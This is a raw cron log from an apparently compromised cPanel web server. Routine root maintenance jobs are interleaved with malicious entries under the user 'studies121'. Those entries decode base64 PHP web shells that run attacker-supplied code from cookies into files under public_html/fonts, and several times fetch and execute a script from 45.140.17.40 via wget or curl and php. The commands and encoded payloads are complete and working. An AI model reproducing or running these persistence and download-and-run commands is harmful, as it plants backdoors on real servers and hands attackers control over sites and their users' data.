Sep  5 06:45:01 ip-184-168-122-23 CROND[27690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:45:01 ip-184-168-122-23 CROND[27689]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 06:45:01 ip-184-168-122-23 CROND[27691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:45:01 ip-184-168-122-23 CROND[27686]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 06:46:01 ip-184-168-122-23 CROND[27797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:46:01 ip-184-168-122-23 CROND[27800]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 06:46:01 ip-184-168-122-23 CROND[27803]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:46:01 ip-184-168-122-23 CROND[27804]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:46:01 ip-184-168-122-23 CROND[27799]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 06:46:01 ip-184-168-122-23 CROND[27805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:46:01 ip-184-168-122-23 CROND[27801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:47:01 ip-184-168-122-23 CROND[27918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:47:01 ip-184-168-122-23 CROND[27920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:47:01 ip-184-168-122-23 CROND[27919]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:47:01 ip-184-168-122-23 CROND[27922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:48:01 ip-184-168-122-23 CROND[28031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:48:01 ip-184-168-122-23 CROND[28030]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:48:01 ip-184-168-122-23 CROND[28032]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:48:01 ip-184-168-122-23 CROND[28033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:48:01 ip-184-168-122-23 CROND[28034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:49:01 ip-184-168-122-23 CROND[28231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:49:01 ip-184-168-122-23 CROND[28230]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:49:01 ip-184-168-122-23 CROND[28229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:49:01 ip-184-168-122-23 CROND[28233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:50:01 ip-184-168-122-23 CROND[28340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:50:01 ip-184-168-122-23 CROND[28343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:50:01 ip-184-168-122-23 CROND[28344]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 06:50:02 ip-184-168-122-23 CROND[28341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:50:02 ip-184-168-122-23 CROND[28347]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 06:50:02 ip-184-168-122-23 CROND[28346]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:50:02 ip-184-168-122-23 CROND[28348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:50:02 ip-184-168-122-23 CROND[28349]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 06:50:02 ip-184-168-122-23 CROND[28342]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 06:51:01 ip-184-168-122-23 CROND[28481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:51:01 ip-184-168-122-23 CROND[28485]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:51:01 ip-184-168-122-23 CROND[28484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:51:01 ip-184-168-122-23 CROND[28487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:52:02 ip-184-168-122-23 CROND[28600]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:52:02 ip-184-168-122-23 CROND[28604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:52:02 ip-184-168-122-23 CROND[28602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:52:02 ip-184-168-122-23 CROND[28603]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:52:02 ip-184-168-122-23 CROND[28605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:53:01 ip-184-168-122-23 CROND[28702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:53:01 ip-184-168-122-23 CROND[28703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:53:01 ip-184-168-122-23 CROND[28704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:53:01 ip-184-168-122-23 CROND[28705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:54:01 ip-184-168-122-23 CROND[28910]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:54:01 ip-184-168-122-23 CROND[28912]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:54:01 ip-184-168-122-23 CROND[28913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:54:01 ip-184-168-122-23 CROND[28914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:54:01 ip-184-168-122-23 CROND[28915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:55:01 ip-184-168-122-23 CROND[29033]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 06:55:01 ip-184-168-122-23 CROND[29036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:55:01 ip-184-168-122-23 CROND[29035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:55:01 ip-184-168-122-23 CROND[29037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:55:01 ip-184-168-122-23 CROND[29039]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:55:01 ip-184-168-122-23 CROND[29038]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 06:56:01 ip-184-168-122-23 CROND[29174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:56:01 ip-184-168-122-23 CROND[29176]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:56:01 ip-184-168-122-23 CROND[29181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:56:01 ip-184-168-122-23 CROND[29180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:56:01 ip-184-168-122-23 CROND[29179]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:57:01 ip-184-168-122-23 CROND[29321]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:57:01 ip-184-168-122-23 CROND[29324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:57:01 ip-184-168-122-23 CROND[29322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
